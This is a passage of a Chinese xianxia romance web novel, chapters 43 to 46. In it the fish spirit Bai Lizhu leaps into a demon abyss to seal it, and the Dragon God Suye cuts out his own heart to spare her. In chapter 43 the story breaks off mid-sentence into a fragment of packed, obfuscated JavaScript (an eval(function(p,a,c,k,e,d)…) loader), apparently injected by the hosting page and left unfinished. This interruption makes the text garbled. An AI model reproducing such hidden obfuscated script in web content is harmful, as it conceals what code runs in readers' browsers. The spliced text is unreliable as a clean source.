“不过,如果你现在离开,你们之间不会再有任何关系,你这辈子也不会再有任何回报他的机会。” 43. 第 43 章 白骊珠脸色倏然变得极白。 她心中有一个声音道,白骊珠啊白骊珠,青君已经放弃你了,你和他恩断情绝,以后他是死是活,和你没有任何关系。你不欠他什么,救你是他的责任,保护妖界也是他的责任。如果他不愿意以龙神之心来封印西陵泽,这世界上根本不会有任何人能强迫他。为了妖界再次遭遇剖心之痛,也是他自己的选择。 可是另外一个声音却说道,你明明知道,你如果一走了之,他一定会选择牺牲自己来拯救整个妖界。翎天说得没错,如果一定要牺牲一个人,比起失去龙神,牺牲一个微不足道的白骊珠对妖界的代价要小得多。白骊珠,欠了的就该还,你欠了龙神一条命,就应该还给他。你从龙神那里得到了龙神之心,如今代替他用这颗心封印西陵泽,才是真正的两不相欠。 …… 身后,再次传来翎天的声音:“白姑娘在桐宫门口站这么久,是改变主意了吗?” 白骊珠回头,她最终决定牺牲自己,但是对眼前的上位者仍然忿懑不平:“翎天大人明明知道我知道一切后不可能离开,才会故意说放我走。” 翎天道:“本君虽然是为了妖界整体着想,但是要牺牲一个小女娃,也并非我心中所愿。这样吧,封印的祭典就在三个时辰之后,临死之前,你有何遗愿,本君皆可代你完成。” 遗愿么? 一般的人临死之前,最大的愿望不过是见亲人朋友最后一面。白骊珠想了想,如今姑姑应该已经安全离开西陵泽,她在这世上也没有其他的亲人。至于青君,他已经不再认她这个姐姐,在整个西陵泽,可以称得上熟人的大概只有兽神陆崖了吧。 她对翎天道:“我想再见兽神大人一面。” 翎天摇头:“这个要求我无法满足。” 白骊珠:“为何?” 翎天声音平静,无一丝波澜:“陆崖反对用你代替溯夜的计划。他总是有一些不切实际的想法,认为只有你能打破天道的诅咒,让溯夜心中能生出情义。恕我直言,情义只会将人囿于自己周围的人和事,变得狭隘。妖界的最高领导者,并不需要所谓情义。为了计划顺利进行,我已经将他软禁,你最好不要见他。” 白骊珠无言。如果说龙神溯夜是因为天道的诅咒而无心无情,那么翎天则是有意放弃了自己的情感,以成为完美的妖界领导者。 她闭上眼。不见就不见吧,如果真的见到陆崖,她也不知道该说些什么。 翎天见她无话可说的样子,又道:“祭典今天上午就会开始,我还有很多事情要安排,你可以在我的宫殿中先休息。玄鸷会守在外面,如果你还有事,可以交代他去办。我不会派人守着你,如果你想离开,也不会有人阻拦。但是,你如果离开,代价最终会由龙神溯夜来承担。” 白骊珠道:“翎天大人放心,我既然做出选择,便不会改变主意。” 翎天离开之后,白骊珠独自坐在窗边,看向天边冉冉升起的太阳。 如果没有意外,这应该是她最后一次看到日出了。 她原以为自己会忿恨,会不平。 长月海覆灭,她本是最后的幸存者,为什么命运非不肯放过她,一定要置她于如此境地。她的人生还没来得及开始,就要这般潦草结束,凭什么? 可事实上,她的心中很平静。 她只是妖界一只平平无奇的小妖而已,如今在西陵泽的战士每一个都比她强大得多。她的生命比起龙神溯夜太微不足道了。 妖界需要一个像龙神溯夜这样强大的守护者,将来才能避免再次发生像长月海这样的灾难。龙神或许并不完美,但无疑是一位优秀而富有责任的领导者,是以如兽神陆崖和女君翎天这般优秀的人都聚集在他身边,为他筹谋考虑。 她又想到了龙神和羽族公主的联姻。诚然,有那么一瞬,她想过向翎天提出,要求她阻拦此事,她也知道翎天一定会同意而且可以做到。 可话到嘴边,终于还是放弃了。 她对龙神的感情,从头到尾只是她一厢情愿而已。 龙神从未喜欢过她,他们的人生本也不应该有交集,她又何苦为了自己心中的一点点不甘,干扰命运既定的轨迹呢? 她浑浑噩噩坐着,不知过了多少时辰,直到身后有人叫她:“白姑娘,该用早膳了。” 白骊珠回头,说话的是梧桐宫的侍女,遵翎天的命令给她送来膳食。侍女身边还有一道熟悉的人影,正是她在西陵泽认识的乌金金。 使女道:“翎天大人说,白姑娘一人难免寂寞,听说白姑娘与乌金金熟识,特意叫她过来陪你。还有这些食物,也是翎天大人特意为白姑娘准备的。” 她打开食盒,里面的食物一部分是白骊珠从没吃过的珍馐佳肴,还有一部分是她日常爱吃的,甚至还有一串新鲜的海桑果,足见翎天对这一顿饭花的心思。 白骊珠从前听说过,在人界,犯罪之人将死之前,往往会被允许吃一顿好的,俗称“断头饭”。翎天决定牺牲她,大抵还是有愧的,想让她吃饱了好上路。只是,这种时候,就算是再美味的食物,她也吃不下一口。 使女离开之后,乌金金关好门窗,轻手轻脚走到白骊珠近前,确定一旁无人窥伺,才小声问道:“骊珠,我来的路上听说翎天大人要将你扔入封魔井,用龙神之心的力量来封印魔渊,这是真的吗?” 白骊珠点了点头。 “翎天大人怎么能这么做呢?”乌金金嘟哝道:“要是被投入封魔井,你就死定了。” 她想了一会,又道:“方才来时的路上,我听到翎天大人正在调兵,说要攻打封魔井,与魔族决战,梧桐宫内根本没几个守卫。我先出去帮你引开守卫,骊珠,你逃走吧——” 乌金金身为羽族,竟违抗翎天大人的命令,想要帮她逃走。白骊珠内心感激,却摇了摇头:“我是自愿留在这里的,我不走。” 乌金金讶异道:“自愿留下,为什么?” 白骊珠不想对他人提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她说着就向外冲去,白骊珠只好拉住她:“不用去了,龙神溯夜已经和羽衣公主有了婚约,我不过是一个普普通通的水族小妖,龙神大人又怎么会为了我和翎天大人翻脸。而且,我说过了,翎天大人并没有逼迫我,我是自己愿意留下的。” 她在心中默默叹了一口气。 不论龙神知不知道这件事,都不重要。 她在西陵泽已经超过一个月,几乎每天都能目睹无数伤亡。这样的代价已经让妖界无法承受,翎天才会软禁反对此事的陆崖,越过龙神溯夜,孤注一掷,与魔族决战,只为了能接近封魔井,再将“祭品”投入魔渊,一劳永逸地解决问题。 翎天能做到这件事,说明她的决策已经得到鳞昆和山岐两位大君以及绝大多数妖族将领们的支持。决战已经开始,就算是龙神亲身在此,也无法改变翎天大人的决定。 在妖界生死存亡的关口,作为“祭品”的她,绝不能因为一个人的生死,罔顾整个妖界的存亡。 44. 第 44 章 雪屋之内,羽衣公主坐在火炉边上,将双手放在炉火上取暖,纵是如此,她仍然冻得瑟瑟发抖。 她看向另外一旁打坐疗伤的龙神溯夜,捏了捏手中的传音符。昨夜,她突然收到哥哥鳞昆传来的消息,给她说明了女君翎天今日的计划,让她务必看紧溯夜,不要让他知道有关白骊珠的事情。无论如何,他今日一定要留在雪屋之中,不可离开。 自从收到鳞昆传讯之后,她眼皮也不敢阖,盯了溯夜整整半宿加一个上午,溯夜一直正襟危坐,仿佛入定,甚至连动都没有动一下。 从她的角度看,哥哥纯属多此一举,龙神溯夜根本不在乎白骊珠的死活。 那日溯夜将白骊珠赶走的情景仍然历历在目,不管那白鱼妖哭得多伤心,他也吝于给予她一丝温情。龙神溯夜无心无情是人人皆知的事实,何况牺牲那只白鱼妖是为了整个妖界。龙神溯夜向来以妖界为先,就算知道殉祭之事也不会反对。 当然了,她还是会好好履行自己的职责,不让龙神发现端倪。等到那个白鱼妖死在封魔井,就再没有转圜余地了。虽说那只白鱼妖并不会对未来的水族王后构成威胁,但是羽衣公主向来讨厌别人染指自己的东西,那只白鱼妖还是死了更好。 天渐渐黑了下来,很快就到了黄昏时刻,羽衣公主听到屋外传来了一阵声响,她抬头,看外雪屋外出现了一道人影。 说是人影也许并不贴切,严格来说那是一个被重重丝线裹成一个巨茧的人形。那巨茧似乎不会走路,只能在雪地上跳跃,模样十分滑稽。 她还没搞清楚是怎么回事,巨茧就地一滚,到了雪屋跟前,里面发出声音:“溯夜,快救我,出大事了——” 那声音竟是兽神陆崖。 入定中的溯夜闻声,睁开眼睛,手中出现一柄短剑,他发出几道剑气,那些坚韧无比的蚕丝很快碎裂,陆崖剥开周身粘人的丝线,从巨茧中爬了出来。 溯夜淡声道:“这是虫神鳞昆的茧之缚,你是怎么得罪了他?” 陆崖恨声道:“还不是翎天那个女人和他一起偷袭我。”他看向一旁的羽衣公主,大惊失色:“羽衣公主怎么在这里?” 溯夜脸上依然波澜不惊:“翎天处事向来稳重,顾全大局,想必是你行事疯癫,她才出手惩戒,你该多检讨自己。” 陆崖气得差点跳起来:“她顾全大局?我行事疯癫?你有没有搞错,现在是她疯了好吧,动员西陵泽的全体战士与魔族决战,还搞什么殉祭那一套……” 溯夜不明所以:“嗯?” 陆崖见他老神在在的样子就来气:“我和你在这里掰扯什么,你要是不赶紧去救人,白骊珠就要被她拉去祭天了——” “什么,白骊珠出事了?”雪屋内白光一闪,溯夜疾步奔出,忽又定住:“不对,翎天与她无冤无仇,又为何要对她不利?” “你先跟我去魔渊那边,其他的事情我路上和你说。”陆崖道:“总之,晚了可就来不及了……” 羽衣公主这时终于反应过来,陆崖三言两语就将龙神溯夜拐走,他们的计划也已经暴露了。她知道不妙,连忙大喊:“龙神大人,你不能走……” 可溯夜和陆崖又怎会搭理她,两人瞬间消失在她的视线之外。她跺了跺脚,赶紧追了上去。 *** 魔渊之外。 经过一日一夜的大战,封魔井外,妖族魔族俱已死伤无数。 妖族午夜突袭,确实打了魔族一个措手不及。但很快,魔族回过神来,开始疯狂反扑。双方在接近十里的战线上反复拉锯对峙,将每一寸土地都染得鲜红。 魔气天生克制妖族,即使有乌金金准备的药丹,妖族还是死伤无数。纵使如此,妖族无一人退缩,人人皆知今日就是最后一战。 只有赢下这场战斗,他们才能结束这场梦魇,回到家乡与家人团聚。 在封魔井上方的天空上,漂浮着一座梧桐木筑成的宫殿。羽族女君翎天身着绯色战袍,站在宫殿顶上,与封魔井外面的魔主舍俱罗遥遥对峙。 魔王舍俱罗神情凝重,妖族大军汹涌而来,攻势比以往任何一次都凌厉。作为魔族最强者,他嗅到了危险的气息,所以亲自镇守魔渊的出入口封魔井。他以强悍的魔力在封魔井上方结成一张防御的罗网,谁也无法越雷池一步。 翎天睥睨着他,手上握着一张朱红色的翎弓,三箭齐发,箭矢如星火,直射向下方的魔王。魔王凌空发出一掌,两支箭矢偏离原来的方向,如星矢坠地,只剩最后一支,被魔王衔于口中。魔王吐出一口魔息,那支蕴含了魔力的箭矢原路返回,径直射向翎天胸口。 魔息吞噬妖力,浮于空中的翎天脸色苍白,摇摇欲坠。 魔王嘲讽道:“羽族女君不过一介女流,也敢强自出头。怎么,你们的龙神溯夜呢,不敢出来与本座一战吗?” 翎天冷哼一声,“何须溯夜出手,魔王既然夸下海口,不妨再接我一箭再说——” 魔王:“有何不可?” 翎天忍下魔息侵蚀,从身后的箭囊中抽出一支赤金羽箭,箭尖色如赤铁,尾羽有着七色翎彩,光芒耀世。 梧桐宫中,乌金金发出一声惊呼:“天啦,这不是传说中的赤金之羽吗?翎天大人竟然将这东西打造成了箭矢……这也太夸张了吧……” 白骊珠问道:“赤金之羽是什么?” 乌金金道:“翎天大人的本体是凤凰,赤金之羽便是凤凰身体上最美丽的那一支尾羽,也是翎天大人的灵骨。翎天大人竟然将自己的灵骨抽出来制作成了武器,这样的行为必然大大有损于她的修为,想不到她竟然能为了这场决战做到这种地步……” 白骊珠若有所思。她于炼器一道虽然才入门,却也知道灵骨对于大妖的重要性。何况是羽族女君这般修为的大妖,灵骨更是至关重要,翎天为了此战,可谓孤注一掷。 “姑姑说了,如今龙神溯夜的修为有损,难以恢复。此战如果不能将魔族彻底封印,妖界就会有覆灭的危险。姑姑说了,为了最终的胜利,她将不惜一切代价。” 梧桐宫内响起一道轻柔的女声,白骊珠和乌金金回头,只见房间内不知何时多了一位身着碧色裙裳的女子。 白骊珠问道:“你是谁?” 碧衣女子道:“我是女君翎天的侄女,羽族的翎凤郡主。我会出现在这里,是奉姑姑的命令,将翎天的最终计划告知白姑娘。” 白骊珠道:“什么计划?” 翎凤解释道:“姑姑说了,如果魔王亲自镇守封魔井,就算妖族倾巢而出,也没有办法彻底攻下封魔井。机会只有一次,那便是姑姑用自己灵骨赤金之羽打造一支羽箭,足够穿透封魔井上方的法阵,届时封魔井上方便会出现一道裂缝。白姑娘需要找到那千钧一发的机会,跳下封魔井,才能将龙神之心带入封魔井,彻 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翎凤温言道:“姑姑说了,每个人都有求生的权利。即使是现在,你仍然可以反悔。如果你想活下去,我会将你送离西陵泽。因为,如果不是你心甘情愿,封魔大计也注定无法完成。还有,姑姑还说了,虽然不知道你和龙神溯夜之间有何瓜葛,但她会尽全力阻止龙神和羽衣公主的婚事。” 白骊珠没有说话,她确实已无话可说。 羽族女君翎天并非奸恶之人,相反,她为妖族做了她能做到的一切。 翎天将这一切坦坦荡荡、明明白白地摆在她面前,不是为了给她选择,正是为了让她不再退缩,主动配合她的最后一步计划,心甘情愿主动赴死。 她闭上双眼,低声道:“翎凤郡主放心,我会配合你们的,我本就没有其他选择。” 翎凤郡主得到她的承诺,终于暗自松了一口气。 半空之中,女君翎天足踏风云,衣袂飘举,手中长弓拉成满月形状,一支赤金羽箭发出破空之声,向着魔王呼啸而去。 羽箭速度越来越快,七色的尾翎燃烧着,炫丽而华美。 这支由妖族大君灵骨锻铸成的羽箭蕴含着无上灵力,一箭既出,足令天地变色,风雷涌动。魔王勃然变色,不敢迎接,只得让出身前空隙。 赤金羽箭一箭射入封魔井,箭上蕴含的妖力与魔息互相吞噬,魔渊被咬出一道狭长的缝隙。 就在此时,高天之上,一抹美丽的倩影从梧桐宫中一跃而下,向魔渊的缝隙直直下落。那白金色的身影如一尾最美丽的游鱼,带着一往无前的决绝,坠入深渊之中。 耳边的风声呼啸着,她仿佛听到魔王愤怒的嘶吼:“不对,她身上有龙神之心,魔渊的力量正在减弱,可恶——” 还听到无数大妖的呐喊:“魔渊正在封闭,我们成功了……” “翎天大人的计划成功了……” “最终的胜利属于妖族……” “溯夜大人万岁,翎天大人万岁——” 最后,她听到一道声嘶力竭的嘶吼:“姐姐,不要——” 那声音似乎是青君,可是她已经听不清了。 在跳下魔渊的那一刻,她整个人就仿佛坠入魔息流动的汪洋大海之中。强大的魔息瞬间将她的全部妖力都瓦解侵蚀。她感觉自己就像置身于满是炭火的熔炉之中,被煎熬、焚烧。她恨不得立刻去死,可因为那颗的龙神之心,她并不会死,只能在无尽的痛苦中不停地挣扎。 若早知是这样的痛,她该在身上藏一把匕首,在坠入魔渊的一刻结束自己的生命,也好过在这样的炼狱中求生不得,求死不得。 45. 第 45 章 在无尽的灼痛中,她几乎无法维持住自身的意识,脑海中唯存一个想法——这世上为什么要有时间呢?假如她能就此寂灭在此刻,该有多好。 不知过了多久,也许是一刹那,也许是一万年那么漫长,躁动的魔息之海似乎静了下来,她忽然感觉到一丝凉意,又像是魔息之海突然坠落下来一块万年的玄冰,将沸腾的魔息之海冻结住了。 那样的气息让白骊珠感到舒服了许多,她几乎循着自己的本能,向那块玄冰游去,就像即将溺水之人抱住最后一块浮木。她紧紧贴着那块玄冰,感觉自身灼热都冷却下来。她蜷缩在玄冰之中,潜意识中感到无比的安全,就要回到了孕生她的那片海水之中,意识沉沉昏睡了过去。 可她没有睡多久,就听到身边传来很多声音,十分吵闹,她模模糊糊中听到一个声音,似乎是质问。 “翎天,谁许你自作主张?白骊珠是我水族的子民,你决定牺牲她,难道不应该先问问我的意见?” 这声音十分熟悉,似乎是龙神的声音。 不对,龙神怎么会在这里。 而且,这声音离她极近,就像是响在她的上方。白骊珠将眼睛睁开一条缝,看见龙神那张冷若冰霜的脸就在她脑门上方。白骊珠吓了一下,浑身几个激灵,这下子感觉更怪了,她竟是被青君紧紧抱在怀里,不,准确来说,是她四肢并用,像只八爪鱼一般紧紧扒在龙神身上。 更糟糕的是,大战好像已经结束了,周围都是大妖,将他们围在最中间。 这种感觉太怪了,她赶紧闭上眼睛,装作未醒的样子,却见龙神的眼眸已经扫了过来。 白骊珠赶紧默念,我不存在,我已经死了,他没有看到我。 却感觉到龙神胳膊松动了一些,让她早已脱力的四肢得以放松,躺得更舒服一些。 羽族女君翎天的声音在近处响起:“自从这场战争开始以来,我们妖界五族的精锐损失了一半以上,始终未能将魔族重新封印。溯夜,你知道这是为什么,龙神失去了龙神之心,也失去了一半的力量,我们因此伤亡惨重。” 溯夜冷声道:“女君是对我不满?” 翎天不甘示弱:“翎天不会置喙龙神如何行事,但是我有权做出自己认为正确的抉择。” 溯夜反问道:“正确的抉择?你的抉择就是牺牲无辜之人吗?” 翎天气势低了数分:“溯夜,我并没有强迫她,这一切都是她自愿的。当时的情形,很多人都可以做证,是白姑娘自己跳下魔渊……” 身旁响起叽叽喳喳的声音:“是啊,我们可以做证,是白姑娘在魔渊打开的一瞬间,自己跳下去了…” 溯夜怒道:“翎天,你背着我行事,你以为我会相信你吗?”伴随着他的声音,天空中暴风翻卷,雷霆声闻。 龙神大人很少发怒,但是不代表他不会发怒。而整个妖界,也没有几个人愿意领教龙神的雷霆之威。 翎天只好道:“翎凤,你们一直陪着白姑娘,给龙神大人解释一下当时发生的事。” 翎凤道:“大战开始之后,我曾向白姑娘解释,想要成功封印魔渊,只有在姑姑与魔王开始对战,魔渊出现缝隙时,她正好跳下才可以。我还说了,如果她反悔想离开,我会送她离开西陵泽,是她自己说愿意主动配合我们的计划……”她战战兢兢道:“龙神大人明鉴,当时魔渊裂缝只有一瞬,如果不是白姑娘主动跳下,计划根本无法完成……” 溯夜闻言,抱着她的胳膊一僵。他低头,看向怀中的白骊珠,“你自己跳下魔渊,为什么?” 他的眼神带着摄人的杀意,即使闭着眼睛,白骊珠也能感觉到其中酝酿着一场风暴,她无法在这种情况下继续装作昏迷未醒,她睁开眼睛,直面那双冰冷的瞳仁:“翎天大人没有强迫我,是我自己愿意。” 溯夜心中愠怒,尽管他也不知道这愠怒何来,语气也加重了几分:“你愿意?你就这么想死?” 白骊珠心中委屈极了。 她被女君翎天派人带到梧桐宫时并不觉得委屈,被半强迫着跳下魔渊时也不觉得委屈,在魔渊之中被魔息灼伤、九死一生之时,也不觉得委屈。她心中一直觉得,她五年前得到了龙神之心,这些都是她该还的债。 可是此时此刻,被青君这般发怒质问,她委屈得不得了。 她想,妖界任凭谁恨我怨我,甚至逼我去死,我都不在乎。唯有你不该这般质问我,我本是为了你才会跳下魔渊的。 可这样的话,她一句也说不出口。她闭上眼睛,任泪水从颊边滚落,低声道:“龙神大人就当我自己想死好了。龙神大人之前也说了,你我之间已经没有任何关系,您也不想再见到我,我做什么选择又与龙神大人有什么关系?” 溯夜身形一颤,脸色骤然阴沉了下来,双手紧握成拳,青筋在手背上浮现。 他想,她在故意激怒他。 在过往的万年,他并非没有被激怒过,但是胆敢激怒他的都是他的敌人,他们都很快付出了代价,被他撕成了碎片。 可她并不是他的敌人,他并不知该如何对她。 “你——”他咬牙切齿地吐出一个字,怒火便难以为继,只好硬邦邦道:“白骊珠,你是水族,不是羽族,是我的子民。我既然救了你,此生此世便不许你再提一个‘死’字。” 溯夜转头,看向人群中的某处。 “这场闹剧也该结束了。在背后操弄一切之手,吾之母亲大人,你还要看这场戏继续演下去了吗?” 众人顺着他的目光尽头看去,那是隐藏在人群中的一只乌鸦妖。乌鸦一族因为妖力孱弱,并没有参与西陵泽的大战,这只乌鸦妖是唯一的例外。一个多月以前,正是她带着破魔丹,和白骊珠一起进入了西陵泽。 可乌金金不是羽族之人吗?怎么成了溯夜的母亲? 就在这时,乌金金的面容发生了变化。虽然依然是乌鸦少女的模样,只是神情突然变得威严、高远、幽渺,难以捉摸。她浮于空中,仿佛是在笑,又仿佛是在发怒,像是最慈爱的母神,又像是最妖异的魔神。 人人都想到了妖界流传已久的关于天道的传说。传说中造物之神有两种法相,当她左手五指向上,世界万物生,当她右手掌心朝下,世界万物灭。 所有人都想到了,初代龙神正是天道的造物,人们称之为天道的宠儿。龙神溯夜,或许可以称天道为他的母亲。 溯夜遥望空中天道法相,面上神情恢复平静:“这么多年了,您还是不厌烦玩这种背后操纵的把戏?” “乌金金”发出缥缈的声音:“溯夜,这么多年了,你还是不肯屈服吗?也是,数万年过去,想必你也早已忘记,你并非妖族,也非魔族,而是我在创世之初最完美的造物。我将最强大的力量赐给你,你却一再忤逆我。” 溯夜昂首:“那是因为母亲错了。魔族力量强大而妖族力量孱弱,如果妖族大陆和魔族大陆融合,只有不到百分之一的妖族能活下来。妖族和魔族都是造物主创造的生灵,这样对妖族不公平。” 天道冷哼一声:“不论妖族还是魔族,都是蝼蚁罢了。我想让世间万物生,他们便可得生,我想让世界万物灭,他们就得就死。吾儿溯夜,你本应与我一样,立足生灵的顶端,你却为了这群蝼蚁,与自己的母亲作对。” 溯夜道:“是,我已经为自己的忤逆付出了代价。五万年以前,我已自愿接受您赐予我的惩罚,您也答应过我,以西陵泽为分界,妖魔两分。您不会再干涉我的事,也不会再干涉妖族和魔族的争端。可是如今,封魔印力量忽然减弱,魔族倾巢而出,难道不是你在背后操纵吗?”他质问道:“母亲,为什么?” 天道的声音陡然严厉冷酷起来:“为什么?溯夜,你难道自己不明白吗?因为你意图对抗我赋予你的惩罚,在心中滋生了感情。不是吗?” 溯夜否认道:“我没有。没有人能抵挡天道的诅咒,母亲如此质问是怀疑自己的力量吗?” 天道冷笑:“没有?溯夜,你看看你怀中的女子,你敢看着她的眼睛,说你不喜欢她,不爱她,对她没有一点感情吗?” 溯夜想也未想:“我当然能。” 在他心中,从未设想过自己会爱上别人。他再次低下头,看向白鱼少女那双明净的眼睛,说道:“白姑娘,这句话我昨天说过一次,今天就再说一次,让众人作为见证。我不爱你,没有一点点喜欢你,我救你,只是履行一个主君的责任与义务。” 如果,白骊珠还能动,她一定会找一个地洞钻进去。而不是就这样被他抱着,在众人面前,被动接受这份羞辱。 从青君恢复心智,重新成为龙神溯夜。她在他面前,就再没有一丝的自尊。 他并未有意羞辱她,他只是用最平淡的语气说出最真诚的话语,越是这样,也越是伤人。 她只能紧紧闭上双眼,不去看他,她对自己说道:白骊珠,没关系的,你早知道他不会爱你的,这不是你的错。今日之后,你就忘了他吧。他不爱你,这世上千千万万人,总有人爱你的……你不在乎,是的,你一点也不在乎……骊珠,你不要再为他流泪…… 高天之上,天道仍未听信自己的儿子。 “哈,溯夜,你确实不错,连自己的心都能骗。好,如果你不爱她,现在就将她扔下封魔井,用它体内的龙神之心来封印魔渊。作为一名合格的主君,你应该知道,她这么弱小的妖,和无数强大的妖族战士相比,根本微不足道。我可以承诺,只要能做到,接下来三百年以内,你所庇护的妖族大陆会风调雨顺,不会有任何的灾难发生。” 溯夜猛地抬头,身形一颤,对着天道怒目而视。 天道神情傲然,以睥睨目光回敬。 两人眼神对峙,良久,溯夜败下阵来,他低下头,抱着怀中少女,凝望着眼前深不见底的魔渊,不知在想些什么。 山风侵袭着少女单薄的罗衫,白骊珠心中闪过一丝绝望。 她想,他终于还是决定放弃她了。 她已经决定放弃自己的生命。她已经跳下去魔渊一次,此刻却生出恐惧,她情愿立刻就死,也不愿被他亲手放弃,更不愿意再次尝试那如地狱焚身之痛苦。 她不过欠了他一颗心,为什么要反复遭受这种磋磨。早知如此,她宁愿从一开始就不曾复活。 她张了张唇,用极低的声音求他。 “龙神……大人,求你……下面太痛了……你先杀了我,我将龙神之心……还给你,好不好……” “我不爱你……也不敢再爱你……” “如你所说,我不是你姐姐,你也不是我弟弟,我们之间毫无瓜葛……” “求你……你放过我好不好……” 上方的人没有声音。 那双冷峻的面容没有任何表情,仿佛根本没有听到她的话。 时间不知过去多久,她仍然被溯夜紧紧抱在怀里。 天道终于再也按捺不住:“呵 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陆崖珍之重之地将白鱼少女抱在怀中:“只要我活着,她绝不会死。这是我对朋友的承诺。溯夜,你是我的朋友,我会等你回来。” 溯夜:“很好。” 他对外围大妖下令道:“所有人,转过身去。” 众人转身,唯有羽族女君翎天不动,她朝白骊珠那边看了一眼,似乎还想说些什么。 溯夜道:“女君不必再劝,我已经做好决定。此战女君劳苦功高,此后三百年,妖界安享太平,女君失去赤金之羽,也可修身养性,恢复身体。” 翎天不忍心转过身去。 溯夜最后抬头,遥望高天:“溯夜再无余话,唯有一愿,请母亲遵诺而行。” 他拔剑跪地,解开衣裳。 抬手,插下,血溅。 剑刃划开胸膛,他将心腔中那团仍然在跳动的物事剖出,朝着黑暗的魔渊抛下。 陆崖发出一声极轻的叹息。 他在最后一刻回头,看清了那颗心。 那不是龙神原生的由天地原初之力凝结的水晶之心,而是一颗血红的,如普通妖族一样的血肉之心。 他的判断没错。 在过去的五年,龙神在白鱼少女的朝夕相伴中,为她生出了颗血肉长成的心脏。 龙神爱上了少女,只是他自己并不知道。他再次为少女舍弃自己的心,并不是因为身为大君的责任,只是因为不舍她再次受到伤害。 *** 不论过程如何曲折,天道最终还是信守了承诺。龙神之心坠入魔渊之后,魔渊终于彻底稳定下来,西陵泽的战事结束,各族首领带着各自人马返回各自的领地。 回到濯水居之后,白骊珠当晚就发起了高烧,昏沉了好些时日。 清醒之后,她第一时间找到陆崖,问龙神溯夜的情况,想要再见到他。在最后的时刻,她终于明白了龙神的心意。 他背负天道不会爱人的诅咒,在数万年的时光多次转世轮回,内心早已冰雪一般荒芜。就算这荒芜的冰原上,开出一朵小花,他也下意识地忽略看不见。 他无法说出喜欢两个字,并不代表他真的不喜欢。 他拒绝承认自己的爱意,可并不代表不爱。 龙神失心,并不会死,只是会重新回到五年之前痴痴傻傻、宛若蒙昧孩童的失智状态。她要找到他,十年也罢,百年也罢,她会重新陪伴他,等到他重新恢复的那一天。 可陆崖告诉她,龙神已经回到了青崖,他在彻底失去神志之前,彻底封闭了青崖的入口,连陆崖也不得门而入。 陆崖还说,如果她还想再见到他,只能等三百年后。三百年后,溯夜此世满一万岁,会经历无妄劫而死。 无妄劫后,青崖的封印自会解除。按照以往惯例,无妄劫后,青崖之顶会出现一颗新的龙蛋,龙蛋会慢慢吸纳天地灵力,百年之后新的龙神就会破壳而出。 届时,他会去青崖,将那颗龙蛋偷出来给她。她可以从龙蛋养起,等小龙破壳而出,也许会再次喜欢上她。 白骊珠问道:“也许?” 陆崖支支吾吾道:“天道为什么逼溯夜在杀了你和剖去新生的龙神之心中做选择,这是因为溯夜为你生出了一颗血肉之心,他拥有了生出感情的能力。不管最终溯夜选择哪一条路,对于天道而言,最终的结果都是一样,龙神再次失去这种能力,天道的诅咒仍然有效。既然天道的诅咒仍然有效,再生的龙神只会继续这一次的轮回……” 他委婉道:“而且,转世之后,龙神不会记得此世发生过的事,他只会记得自己的责任和有关于轮回的宿命,几乎可以算作另外一个人了。” 白骊珠明白了他的意思,无妄劫后,溯夜不会记得她,更不会记得自己曾经爱过。也就是说,这一世,他们的所有努力一切成空,一切都没有改变。 她没有再说什么,只是转身回到自己的房间,收拾好自己的东西,和姑姑告别之后,离开濯水居。 她来到青崖山脚,结了一间草庐居住。 她爱过他,也恨过他。但是,几番刻骨铭心之后,她终于知晓,比爱恨更令人不甘的是生死不见和彻底遗忘。 在他活着的时候,她也许没有机会再见到他。 但她可以在他生命的最后三百年,住在离他近一点的地方。 46. 第 46 章 扑通—— 扑通—— 扑通—— 耳畔传来几乎震穿耳膜的声响,将白骊珠从过往的迷梦中唤醒。她愣了好一会,才发现那轰鸣的声音是从自己的胸口传来,她按紧胸口,感知着里面酸涩又绵长的痛感,几乎想要流泪。 她想起来了。 这些本是她过去的记忆,只是她忘记了。 原来,青君就是龙神溯夜。他用龙神之心将本来已经死去的她复活,他们因此结缘,她在濯水居与他相伴五年,他的心腔因为她长出一颗血肉之心,可是最后,他又亲手剜出了那颗心,将它抛入魔渊之中。 难怪,即使是在梦中,她一想起青君,就会不由自主地心痛流泪,每次午夜梦回,都心悸到无法呼吸。 她是什么时候失去了这段记忆了呢? 在刚刚想起的这段回忆之中,她在龙神溯夜回到青崖之后,选择在青崖结庐而居,想要在最后的三百年离他更近一点。可在她自己的记忆之中,长月海大灾变后,她跟随姑姑在濯水居居住多年,后来姑姑病重去世,临终之前将她托付给炼器大宗真炎宗,直到三年前她从真炎宗毕业,自立门户。 她觉得最为合理的解释,是她曾经确实在青崖结庐而居——毕竟山脚那座西陵神女祠,与她记忆中的居所极为相似。 原来她就是《西陵纪事》中记载的那位西陵神女,难怪那尊神女像和她有几分相似。只是那时,她根本没想到这座神女祠会和她有关系。 在《西陵纪事》这个故事里,没有写神女最后的结局。后来,她为什么离开青崖,成为真炎宗的白骊珠,又为何忘了这一切? 又是谁抹去了她的记忆? 一切仍然是谜团。 她决定先找陆崖问个清楚。 在她重新找回的这段记忆中,她和龙神溯夜的这段“孽缘”,一直少不了陆崖的掺和。能抹去她的记忆,想来也只有陆崖这种级别的大君可以做到。 她翻身准备起来,发现周围一片漆黑,不知自己身在何处,陆崖、十五夜、纪长怀等人也不知道在哪里。 她走了几步,摸到一处温暖的墙壁。 不,那不是墙壁,在她触碰的一瞬间,她能感知到那“墙壁”似乎同样在呼吸蠕动,就好像活的血肉一般。她仔细感知了一下,发现自己是在某个巨大生物的身体之内。而且随着她的心跳,她似乎能感知到这巨物的一呼一吸。 她吓了一跳,就在这时,巨大生物上方的腹壁上透出一缕天光,陆崖那张温润优雅的脸出现在夹缝一旁,微笑着向她招手:“白姑娘,你醒了,觉得怎么样?” “我没事。”看到熟人,白骊珠悬着的心放下少许,疑问道:“这是怎么回事?我又怎么会在这里?” 陆崖道:“白姑娘不妨出来再说。”他伸出手,想要将白骊珠从巨龙腹内拉了出来。 白骊珠本来下意识地伸手,忽又将手缩了回去。从前不记得旧事,她觉得如陆崖这般温润优雅的美男子作她未婚夫也算不错。 可如今恢复记忆,她十分确定陆崖在她和“青君”的感情中,一直充当的是“月老”的角色,至于陆崖本人,对她绝无一点点那方面的意思。所谓姑姑留给他的婚书,也多半是他伪造的。 回忆起在夕照湖时,她竟然曾经对陆崖起过色心,更是十分尴尬。 